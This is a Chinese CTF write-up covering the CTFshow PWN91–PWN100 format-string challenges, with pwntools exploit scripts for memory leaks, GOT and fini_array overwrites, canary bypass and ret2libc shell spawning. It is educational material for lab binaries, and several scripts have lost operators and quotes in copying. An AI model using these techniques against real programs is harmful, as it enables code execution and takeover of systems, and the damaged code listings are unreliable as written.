CTFshow PWN格式化字符串漏洞通关实战:从基础泄露到高级利用

CTFshow PWN格式化字符串漏洞通关实战:从基础泄露到高级利用 1. 项目概述一场关于格式化字符串的“攻防演练”最近在CTFshow的PWN系列题目里从PWN91到PWN100这十道题可以说是一场关于格式化字符串漏洞的“毕业考试”。如果你能独立打通这十关那基本上就掌握了格式化字符串漏洞从基础到进阶的绝大部分利用姿势。我花了几天时间把这一系列题目从头到尾啃了一遍过程中踩了不少坑也总结出不少实战中才能体会到的技巧。这篇文章我就来分享一下我的完整通关思路和详细的exp脚本希望能给正在学习PWN或者卡在这一系列题的朋友们一些直接的参考。格式化字符串漏洞简单来说就是程序在调用像printf、sprintf这类函数时允许用户控制格式化字符串的内容。比如程序本意是printf(“Hello %s”, name)但如果我们能让它执行printf(name)而name是我们输入的“%x %x %x”那么程序就会把栈上的数据当作参数打印出来。这扇“后门”一旦打开我们能做的事情就多了泄露内存信息比如libc地址、canary值、程序基址、向任意地址写入任意数据比如覆盖GOT表、修改函数指针甚至执行任意代码。CTFshow的这十道题正是围绕这些核心利用点由浅入深设计的。这系列题目适合有一定二进制基础的朋友比如你知道什么是栈、什么是GOT/PLT、什么是libc。如果你对这些概念还比较模糊建议先补补课再来看效果会更好。接下来我会按照题目顺序拆解每一关的核心考点、解题思路并附上我调试通过的exp代码。我的环境是Ubuntu 20.04使用的工具主要是pwntools、gdb配合pwndbg插件以及checksec来查看程序保护。2. 解题环境准备与核心工具链工欲善其事必先利其器。在开始“爆栈”之前确保你的工具链是顺手且高效的能极大提升解题和调试效率。这里我分享一套我实战中打磨出来的配置不仅仅是安装更重要的是怎么用。2.1 基础工具安装与配置首先是最核心的Python库pwntools。我强烈建议使用Python虚拟环境来安装避免污染系统环境也方便管理不同项目可能需要的版本。# 创建并进入虚拟环境 python3 -m venv pwn-env source pwn-env/bin/activate # 安装pwntools使用清华源加速 pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple安装后在Python脚本里from pwn import *即可。pwntools的强大在于它封装了进程交互、打包解包数据、ELF文件解析等大量繁琐操作。比如p32(0xdeadbeef)可以直接得到小端序的字节串b\xef\xbe\xad\xdeu32(bAAAA)则得到0x41414141这在构造payload时极其方便。调试方面gdb配合pwndbg或gef插件是标配。我个人更习惯pwndbg它的信息展示更直观。# 安装pwndbg cd ~ git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh安装完成后用gdb打开程序就会自动进入pwndbg模式。有几个命令在格式化字符串漏洞利用中会高频使用context快速查看寄存器、栈、反汇编和代码上下文。search -4 0xdeadbeef在内存中搜索特定值常用于寻找输入缓冲区的地址。x/20wx $esp以4字节为单位查看栈内存这是观察我们输入的格式化字符串如何影响栈布局的关键。注意不同Linux发行版和gdb版本可能会与pwndbg有兼容性问题。如果遇到启动报错可以尝试更新系统或者使用gef插件作为备选方案。2.2 漏洞利用的通用思路框架面对一道格式化字符串漏洞的题目我通常会遵循下面这个排查和利用流程这能帮你形成清晰的解题脉络信息收集运行checksec ./pwn91查看程序开启了哪些保护机制如NX, Canary, PIE。用file命令看是32位还是64位。这决定了后续的利用手法。静态分析用objdump -d或IDA快速浏览程序找到存在漏洞的printf调用点观察其上下文的缓冲区大小、输入点在哪。动态调试与偏移计算运行程序输入一长串%p或%lx如%p.%p.%p.%p.%p...让程序泄露栈上的数据。在gdb中于printf处下断点单步步入后观察栈布局。找到我们输入的字符串在栈上的位置通常是第一个或第二个参数之后。计算我们的输入相对于printf格式化字符串参数即第一个%p对应参数的偏移量。这个偏移量是后续所有利用的基石。利用阶段根据题目目标选择利用方式泄露信息使用%偏移$s来泄露栈上指针指向的字符串如got表里的libc函数地址或%偏移$p泄露值本身。任意写使用%偏移$n或%偏移$hn按2字节写、%偏移$hhn按1字节写向目标地址写入已输出的字符数。通过精心控制输出字符的数量可以写入任意值。Payload构造与调试使用pwntools构造payload在本地或远程测试。在gdb中反复调试验证泄露的地址是否正确、写入的值是否如预期。这个框架会贯穿后面每一道题的具体分析。下面我们就进入实战从PWN91开始。3. PWN91-PWN95基础泄露与任意写入门这前五道题是“新手村”主要目的是让你熟悉格式化字符串漏洞最基本的两种利用方式读和写。3.1 PWN91栈地址泄露与偏移计算题目考点计算格式化字符串在栈上的偏移并泄露一个栈地址。这通常是系列第一题的标准操作。程序大概率有一个类似这样的漏洞点char buf[100]; read(0, buf, 99); printf(buf); // 漏洞点解题步骤先输入一串%p测试。比如输入AAAA%p.%p.%p.%p.%p.%p。假设输出是AAAA0x1.0x2.0x3.0x4.0x41414141.0x5。那么可以看到第5个参数0x41414141就是我们输入的AAAA的十六进制形式。这说明我们输入的格式化字符串本身在栈上是作为第5个参数传递给printf的。偏移量就是5。题目要求泄露一个栈地址。栈上本身就有很多返回地址、栈帧指针。我们可以用%5$p来泄露AAAA所在的地址即buf的地址或者用%6$p、%7$p等尝试泄露其他栈地址。我的exp核心部分from pwn import * context(log_leveldebug, archi386, oslinux) # 假设是32位 p process(./pwn91) # 或 p remote(pwn.challenge.ctf.show, 12345) payload b%5$p # 尝试泄露第5个参数即格式化字符串地址 p.sendline(payload) p.recvuntil(b0x) # 接收输出直到0x leak_addr int(p.recvline().strip(), 16) log.success(fLeaked stack address: {hex(leak_addr)}) p.interactive()实操心得偏移量计算是后续所有题的基础务必在本地用gdb反复验证。有时候因为对齐等原因偏移量可能不是连续的整数需要多试几个位置。pwntools的log_leveldebug模式可以看到所有发送和接收的字节非常利于调试。3.2 PWN92泄露libc基址题目考点利用格式化字符串泄露GOT表中某个libc函数的地址从而计算出libc基址。程序里一定会调用某个libc函数比如puts、printf、read。这些函数在程序GOT表中的地址在程序运行后会被解析为libc中的实际地址。我们的目标就是把这个地址读出来。解题步骤用objdump -R ./pwn92或pwntools的ELF模块找到puts的GOT表地址例如0x804c00c。我们需要把这个地址放到栈上然后用%偏移$s去读它。%s会把这个地址当作指针打印出它指向的字符串直到遇到\x00。而GOT表项里存放的就是地址本身8字节数据所以%s会一直往后读可能读到非法内存导致崩溃。更稳妥的方法是用%偏移$p以指针形式打印这个地址的值或者用%偏移$s但确保地址后面有截断通常比较难控制。在32位下我们可以把GOT地址直接作为字符串的一部分输入。假设偏移量是5那么payload可以是p32(puts_got) b%5$s。注意这里p32(puts_got)占据了4字节它本身位于栈上。%5$s会去读栈上第5个参数假设我们的字符串起始位置是第5个参数也就是p32(puts_got)这4个字节并将其解释为地址打印出该地址的内容即puts的真实地址。但这里有个问题%5$s打印时遇到\x00会停止。而puts的真实地址很可能包含\x00字节因为libc地址通常像0xf7xxxxxx高位是\xf7不是\x00。所以用%s是可行的。更通用的方法是使用%5$p它直接以十六进制形式打印第5个参数的值即puts_got地址本身的内容也就是puts的真实地址。我的exp核心部分from pwn import * context(log_leveldebug) elf ELF(./pwn92) # 假设是32位无PIE puts_got elf.got[puts] p process(./pwn92) # 方法1使用 %p 直接泄露值 payload p32(puts_got) b%5$p p.sendline(payload) # 接收输出需要解析出地址 p.recvuntil(p32(puts_got)) # 先接收到我们输入的地址本身 leak_data p.recvuntil(b\n) # 接收后面的输出可能是 (nil) 或 0xf7xxxxxx # 需要根据实际情况解析比如 split(b0x)[-1] puts_addr int(leak_data.split(b0x)[-1], 16) # 方法2更稳健使用 %s 并配合 recv 技巧 # payload p32(puts_got) b%5$s # p.sendline(payload) # p.recvuntil(p32(puts_got)) # puts_addr u32(p.recv(4)) # 直接读取4字节的地址 log.success(fPuts address: {hex(puts_addr)}) # 计算libc基址需要知道libc中puts的偏移量通过题目给的libc文件或libc-database查询 # libc_base puts_addr - libc.symbols[puts]注意事项%s和%p的选择取决于输出格式。%s可能打印出不可见字符干扰接收。%p会格式化成0x...的字符串易于处理。在gdb中观察栈内存和printf的输出是确定用哪种方式的关键。3.3 PWN93覆盖栈上变量改变程序流题目考点利用%n格式化符向栈上的变量如一个控制流标志flag写入值从而改变程序执行路径。%n的作用是将截至目前已成功输出的字符数写入对应的参数所指的地址。例如printf(“AAAA%n”, count)会向count写入4。解题步骤逆向程序找到关键变量比如int key在栈上的地址或者找到一个存储目标地址的指针在栈上的位置。假设我们需要将key的值改为0xdeadbeef。我们需要让已输出的字符数等于0xdeadbeef即3735928559十进制。这个数字太大直接输出这么多字符不现实。因此需要用到宽度控制和多次写入。宽度控制%10c表示输出一个字符宽度为10即输出9个空格加该字符。我们可以用%{width}c来快速增加输出字符数。多次写入32位我们可以分4次每次向key的1个字节写入目标值hhn按字节写。例如将key的地址、key1、key2、key3依次放在payload开头。然后使用%{value1}c%{offset}$hhn写入最低字节%{value2}c%{offset1}$hhn写入次低字节以此类推。这里value1、value2等是累计输出字符数需要精心计算通常采用“递增”方式利用前一次写入的宽度作为基础。我的exp核心思路假设偏移量为5key的栈地址为0xffffd10c# 假设我们要写入 0xdeadbeef target 0xdeadbeef byte1 target 0xff # 0xef byte2 (target 8) 0xff # 0xbe byte3 (target 16) 0xff # 0xad byte4 (target 24) 0xff # 0xde # 将四个地址放入payload payload p32(key_addr) p32(key_addr1) p32(key_addr2) p32(key_addr3) # 计算各次写入需要的宽度。注意宽度是累计输出字符数。 # 初始已输出字符数 len(payload) 16 w1 (byte1 - 16) 0xff # 写入第一字节需要的额外字符数 w2 (byte2 - byte1) 0xff w3 (byte3 - byte2) 0xff w4 (byte4 - byte3) 0xff payload f%{w1}c%5$hhn.encode() payload f%{w2}c%6$hhn.encode() payload f%{w3}c%7$hhn.encode() payload f%{w4}c%8$hhn.encode()踩坑记录这里最容易出错的是宽度计算和取模。因为%hhn只写入一个字节所以计算出的宽度需要 0xff确保在0-255之间。如果byte2小于byte1w2会是负数这时需要加256即(byte2 - byte1 256) 0xff。pwntools的fmtstr_payload函数可以自动完成这些繁琐的计算但在理解原理阶段建议手动实现一遍。3.4 PWN94覆盖GOT表劫持控制流题目考点将GOT表中某个函数的地址覆盖为后门函数或system的地址从而在程序调用该函数时获得shell。这是格式化字符串漏洞的经典利用方式。思路和PWN93类似只是写入的目标地址从栈变量变成了GOT表项。解题步骤找到程序中某个之后会被调用的函数GOT地址比如printf的GOT。因为程序在printf之后可能还会调用puts或exit。找到后门函数地址或计算system地址。如果程序自带后门如win函数直接覆盖即可。如果需要调用system(“/bin/sh”)则需要先泄露libc基址如PWN92然后计算system地址并在内存中写入字符串/bin/sh通常用read函数读到bss段或找现成的。使用%n系列格式化符将目标地址写入GOT表。由于地址值可能很大通常采用%hn2字节写或%hhn1字节写分多次写入。我的exp核心部分假设覆盖printf_got为win_addr偏移量8from pwn import * context(log_leveldebug) elf ELF(./pwn94) printf_got elf.got[printf] win_addr elf.symbols[win] # 假设有后门函数win p process(./pwn94) # 使用pwntools的fmtstr_payload自动生成payload这是实战中最省事的方法 payload fmtstr_payload(8, {printf_got: win_addr}) p.sendline(payload) p.interactive()fmtstr_payload(offset, writes)函数是神器。第一个参数是偏移量第二个参数是一个字典键是要写的地址值是要写入的数据。它会自动处理地址对齐、宽度计算、多次写入等所有细节。重要技巧fmtstr_payload默认使用%hn2字节写这通常比%hhn1字节写生成的payload更短。但如果需要写入的地址值差异很大比如高2字节和低2字节值相差很大%hhn可能更可控。可以通过fmtstr_payload(offset, writes, write_sizebyte)来指定。3.5 PWN95无后门下的ret2libc题目考点程序没有明显后门需要结合信息泄露libc地址和任意写覆盖GOT完成ret2libc攻击最终调用system(“/bin/sh”)。这是对前几关能力的综合运用。解题路线图非常清晰泄露libc地址利用格式化字符串泄露一个libc函数地址如__libc_start_main或puts计算出libc基址。计算关键地址根据libc基址算出system函数和字符串/bin/sh的地址。覆盖GOT表选择一个在泄露后还会被调用的函数通常是printf本身或者exit将其GOT表项覆盖为system地址。传递参数在调用被覆盖的函数时需要让它的第一个参数在32位下是栈上的下一个位置指向/bin/sh字符串。如果覆盖的是printf那么下一次printf的格式化字符串参数就可以是/bin/sh的地址。如果覆盖的是exit则需要提前在栈上布置好参数这通常更难需要栈溢出配合或者利用printf链。我的exp完整框架from pwn import * context(log_leveldebug, archi386) elf ELF(./pwn95) libc ELF(/path/to/libc.so.6) # 需要题目提供的libc或通过泄露计算 p process(./pwn95) # 1. 泄露libc地址 puts_got elf.got[puts] payload1 p32(puts_got) b%8$s # 假设偏移8 p.sendline(payload1) p.recvuntil(p32(puts_got)) puts_addr u32(p.recv(4)) libc_base puts_addr - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh\x00)) log.success(fLibc base: {hex(libc_base)}) log.success(fSystem: {hex(system_addr)}) log.success(f/bin/sh: {hex(binsh_addr)}) # 2. 覆盖GOT表例如覆盖printf_got为system_addr printf_got elf.got[printf] # 注意发送payload1后程序可能还在等待输入或者需要触发第二次printf # 这里假设有第二次输入机会 payload2 fmtstr_payload(8, {printf_got: system_addr}) p.sendline(payload2) # 3. 触发调用此时调用printf(format)实际会调用system(format) # 我们需要让format指向/bin/sh字符串。如果程序本身有输入点可以控制就很简单。 # 假设程序接下来会执行 printf(buf)我们只需发送/bin/sh的地址作为字符串 # 但通常我们需要把/bin/sh写入内存某个已知地址然后让格式化字符串指向它。 # 一种方法是利用之前的任意写将/bin/sh字符串写入bss段然后再覆盖GOT。 # 这里假设我们已经把binsh_addr写入了某个已知地址比如0x804c000 p.sendline(p32(binsh_addr)) # 这会被当作格式化字符串参数即system的参数 p.interactive()排查技巧这种多步利用最容易出错的地方是各步骤之间的状态衔接。务必用gdb跟踪确认每一步之后栈和内存的状态是否符合预期。特别是覆盖GOT后下一次printf调用时栈布局是否和我们设想的一致。有时候需要在两次利用之间插入一些无害的输入来维持程序状态。4. PWN96-PWN100高级技巧与综合挑战从PWN96开始题目会引入一些保护机制如PIE和更复杂的场景需要更精巧的利用技巧。4.1 PWN96应对PIE保护下的地址泄露题目考点程序开启了PIEPosition-Independent Executable代码段和部分数据段的地址在每次运行时随机化。我们需要先泄露程序自身的基址。解题思路 PIE随机化的是加载基址但偏移是固定的。我们可以泄露一个程序代码段内的地址比如main函数的返回地址指向__libc_start_main、或者某个GOT表项在程序内的地址注意GOT表在PIE下也是随机的但它在ELF中的偏移固定。更常见的是泄露main函数的返回地址它在栈上。用%p系列泄露栈上的多个值。寻找一个看起来像代码段地址的值通常以0x55或0x56开头在64位下32位下可能没有固定特征。用这个值减去该地址在ELF文件中的固定偏移可以用objdump -d或readelf -s查看main或_start的地址就得到了程序基址elf_base。有了elf_base所有符号的地址就等于elf_base symbol_offset。我的exp关键步骤# 假设通过 %p 泄露发现第7个参数是 main 的返回地址 payload b%7$p p.sendline(payload) main_ret_addr int(p.recvline().strip(), 16) # 计算程序基址。需要知道 main 返回地址相对于 .text 段的偏移。 # 在gdb中先关闭ASLR set disable-randomization on # 然后运行程序在main函数入口下断点查看返回地址。 # 假设静态分析时main返回地址在ELF中的偏移是 0x1234 elf_base main_ret_addr - 0x1234 log.success(fELF base: {hex(elf_base)}) # 之后计算任意函数地址例如 win win_offset elf.symbols[win] # 这是相对于ELF基址的偏移 win_addr elf_base win_offset注意事项PIE下的偏移计算需要精确。最好在gdb里关闭ASLRset disable-randomization on先做静态分析确定泄露的地址具体对应ELF中的哪个符号。泄露栈上的.text地址比泄露.got.plt地址更可靠因为后者可能在泄露后还未被解析值为0。4.2 PWN97利用_dl_fini或exit劫持题目考点程序可能没有明显的后续printf调用或者GOT表难以覆盖。此时可以瞄准程序退出时的清理函数如exit或_dl_fini中的函数指针。高级技巧_dl_fini是动态链接器在程序退出时调用的清理函数其内部有一个函数指针数组fini_array。如果我们可以修改这个数组中的指针就能在程序退出时劫持控制流。首先需要泄露程序基址应对PIE然后计算fini_array的地址最后用格式化字符串漏洞向其中写入目标地址。解题步骤泄露程序基址方法同PWN96。获取fini_array的地址fini_array_addr elf_base elf.symbols[__init_array_end]或其他相关符号需用readelf -S ./pwn97查看.fini_array节的地址。使用任意写将fini_array中的项覆盖为后门函数地址。触发程序正常退出例如让main函数返回即可执行后门。我的exp思路# 假设已获取 elf_base fini_array_section elf.get_section_by_name(.fini_array) if fini_array_section: fini_array_addr elf_base fini_array_section[sh_addr] # 通常 .fini_array 是一个指针数组覆盖第一个条目 target_entry_addr fini_array_addr payload fmtstr_payload(offset, {target_entry_addr: win_addr})实操心得这种方法比覆盖GOT更隐蔽但需要程序正常退出。确保你的覆盖操作完成后程序不会因为其他原因如崩溃而异常退出。同时要搞清楚fini_array的具体结构和调用约定。4.3 PWN98栈上的格式化字符串与ROP链结合题目考点格式化字符串漏洞发生在栈上且缓冲区足够大可能允许我们不仅利用格式化字符串还能植入ROP链实现更稳定的利用。这是一种组合利用技术。思路是利用格式化字符串的任意写能力修改栈上的某个关键数据比如保存的返回地址或某个函数指针。同时我们在输入的字符串中即栈上的缓冲区里预先布置好ROP链pop; ret;、system地址、参数地址等。通过任意写将返回地址修改为ROP链的起始地址比如指向我们输入的缓冲区从而实现栈劫持。关键挑战需要知道输入缓冲区的栈地址。这可以通过格式化字符串漏洞自身来泄露。例如用%p泄露栈地址找到我们输入字符串的起始位置。我的exp构造流程# 1. 泄露栈地址计算buf地址 payload_leak b%10$p # 假设第10个参数指向buf附近 p.sendline(payload_leak) stack_leak int(p.recvline().strip(), 16) buf_addr stack_leak - 0x10 # 通过gdb调试确定偏移 # 2. 构造ROP链放在payload开头 rop_chain p32(pop_ebx_ret) p32(binsh_addr) p32(system_addr) # 3. 在ROP链后面跟上格式化字符串用于修改返回地址 # 假设返回地址保存在栈上某个位置 ret_addr_loc ret_addr_loc buf_addr 0x100 # 通过调试确定 # 我们需要将 ret_addr_loc 处的值改为 buf_addr (即ROP链开始处) # 将 ret_addr_loc 的地址写入payload payload rop_chain payload p32(ret_addr_loc) p32(ret_addr_loc1) p32(ret_addr_loc2) p32(ret_addr_loc3) # 接着是复杂的 %hhn 写入链将 buf_addr 的四个字节写入 ret_addr_loc # 这里极其繁琐强烈建议使用 fmtstr_payload并指定 write_sizebyte # 但 fmtstr_payload 会生成自己的payload可能会破坏我们的ROP链布局。 # 更稳妥的方法是先发送格式化字符串payload修改返回地址再发送包含ROP链的输入如果程序有多次输入。踩坑记录这种利用方式对栈布局的精确度要求极高需要在gdb中反复调试确保计算的地址百分百准确。由于格式化字符串输出会破坏栈帧有时会导致计算好的地址失效。一个技巧是使用%c或%x等不改变栈指针的格式化符来“垫”输出避免栈布局变化过大。4.4 PWN99绕过栈保护Canary与格式化字符串题目考点程序开启了栈溢出保护Canary单纯的栈溢出无法覆盖返回地址。但格式化字符串漏洞可以泄露Canary然后在后续的栈溢出中在对应位置填入正确的Canary值从而绕过检查。解题思路泄露CanaryCanary通常位于栈上某个固定偏移处相对于ebp或rsp。用%p或%llx64位泄露栈上的值找到一个在每次运行都变化但在单次运行中不变的值那很可能就是Canary。在gdb中可以在函数序言后查看fs:0x28或gs:0x14处的值被存入栈的位置。泄露程序/库地址同时泄露其他需要的地址如libc地址。构造栈溢出payload在存在栈溢出的函数可能是另一个函数中精心构造payload[填充字节] [泄露的Canary] [填充] [目标返回地址]。我的exp策略# 1. 利用格式化字符串漏洞泄露canary和libc地址 payload_leak b%15$p %19$p # 假设第15个是canary第19个是libc地址 p.sendline(payload_leak) data p.recvline().split() canary int(data[0], 16) libc_leak int(data[1], 16) libc_base libc_leak - libc.symbols[__libc_start_main] - 0xf0 # 偏移需调整 # 2. 在另一个存在栈溢出的输入点发送payload padding bA * offset_to_canary # 填充到canary之前 payload padding p64(canary) bB*8 p64(pop_rdi_ret) p64(binsh_addr) p64(system_addr) p.sendline(payload)重要提示Canary的最低字节通常是\x00为了阻止字符串函数泄露所以用%s打印时会截断。必须用%p或%llx来完整泄露。另外确保在溢出时Canary被原封不动地写回原位置否则检查依然会失败。4.5 PWN100综合挑战与自动化利用题目考点作为收官之题PWN100通常会融合前面所有技巧PIE、Canary、需要泄露多个地址、多次任意写、可能需要链式利用等。解题的关键在于模块化思维和自动化脚本。我的攻关流程全面侦察用checksec查看所有保护用IDA理清所有函数和流程找出所有输入点和漏洞点。制定利用链画出一个简单的利用流程图。例如第一次printf泄露栈地址用于定位buffer、Canary、程序基址、libc基址。第二次printf或同一printf但通过输入长度控制利用任意写修改fini_array或某个函数指针为one_gadget地址或者布置栈ROP。触发程序流程执行shellcode或one_gadget。编写模块化exp将泄露、计算、写入等操作写成函数方便调试和调整偏移量。动态调试与调整在gdb中运行exp在关键点如每次printf前后下断点观察内存和寄存器状态验证泄露值和写入值是否正确。偏移量可能需要多次尝试才能确定。一个高度自动化的exp框架示例from pwn import * import sys context.binary ./pwn100 context.log_level debug def leak(offset, fmtp): payload f%{offset}${fmt}.encode() p.sendline(payload) resp p.recvuntil(b\n, dropTrue) if fmt s: # 处理字符串泄露 return resp else: # 处理指针泄露 if resp.startswith(b(nil)): return 0 return int(resp, 16) if resp else 0 def write(offset, addr, value, write_sizeshort): # 使用 fmtstr_payload 简化写入操作 payload fmtstr_payload(offset, {addr: value}, write_sizewrite_size) p.sendline(payload) # 可能需要接收一些回显 p.recvline() def exploit(): global p if len(sys.argv) 1 and sys.argv[1] remote: p remote(xxx.xxx.xxx.xxx, xxxx) libc ELF(./libc.so.6) # 远程libc else: p process(./pwn100) libc context.binary.libc # 本地libc # 阶段1信息收集 elf_base_leak leak(6) # 假设偏移6泄露程序地址 canary leak(10) # 假设偏移10泄露canary libc_leak leak(12) # 假设偏移12泄露libc地址 # 计算基址 elf_base elf_base_leak - 0x1234 libc.address libc_leak - 0xabcde # libc偏移 log.info(fELF Base: {hex(elf_base)}) log.info(fCanary: {hex(canary)}) log.info(fLibc Base: {hex(libc.address)}) # 阶段2任意写准备 win_addr elf_base 0x5678 # 或 one_gadget target_addr elf_base 0x9abc # 要覆盖的地址如fini_array # 阶段3执行写入 write(8, target_addr, win_addr, write_sizebyte) # 假设偏移8 # 阶段4触发 p.sendline(bquit) # 或任何能触发目标流程的输入 p.interactive() if __name__ __main__: exploit()最终建议面对综合题耐心和细致的调试是最重要的。不要指望一次写出完美的exp。将大问题分解为小步骤每一步都在gdb中验证通过再串联起来。善用pwntools的fmtstr_payload和ELF、LibcSearcher等模块能节省大量计算和构造payload的时间。